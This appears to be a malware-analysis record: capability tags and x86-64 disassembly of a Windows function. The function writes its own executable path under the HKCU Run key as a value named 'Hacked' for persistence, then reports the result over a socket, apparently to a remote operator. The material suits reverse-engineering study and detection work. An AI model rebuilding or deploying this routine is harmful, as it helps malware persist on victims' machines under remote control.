Function at 0x401920
Capabilities:
Persist via run registry key
Send data
Send data on socket
Set registry value

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
movabs rax, 0x6c696146205d2d5b
mov edx, 0xa64
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], rdx
mov qword [rbp + 0x160], 0
mov qword [rbp + 0x168], 0
mov qword [rbp + 0x170], 0
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x190], 0
mov qword [rbp + 0x198], 0
mov qword [rbp + 0x1a0], 0
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1b0], 0
mov qword [rbp + 0x1b8], 0
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1c8], 0
movabs rax, 0x61657243205d2b5b
movabs rdx, 0x7365725020646574
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x2065636e65747369
movabs rdx, 0x59454b48203a7461
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x544e45525255435f
movabs rdx, 0x4f535c524553555f
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x4d5c455241575446
movabs rdx, 0x74666f736f726369
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x73776f646e69575c
movabs rdx, 0x746e65727275435c
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x5c6e6f6973726556
mov edx, 0xa6e7552
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x140], 0
mov qword [rbp + 0x148], 0
mov dword [rbp + 0x1dc], 0
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov dword [rbp + 0x1dc], eax
cmp dword [rbp + 0x1dc], 0
jne 0x401b3f
mov eax, dword [0x00408040]
cdqe
lea rdx, [rbp + 0x150]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x401c55
lea rax, [rbp - 0x48]
mov r8, rax
lea rax, str.HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
test eax, eax
je 0x401b95
mov eax, dword [0x00408040]
cdqe
lea rdx, [rbp + 0x150]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x401c55
mov eax, dword [rbp + 0x1dc]
mov dword [rbp + 0x1d8], eax
mov rax, qword [rbp - 0x48]
mov edx, dword [rbp + 0x1d8]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.Hacked
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
je 0x401c19
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, dword [0x00408040]
cdqe
lea rdx, [rbp + 0x150]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x401c55
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, dword [0x00408040]
cdqe
lea rdx, [rbp + 0xd0]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0
add rsp, 0x260
pop rbp
ret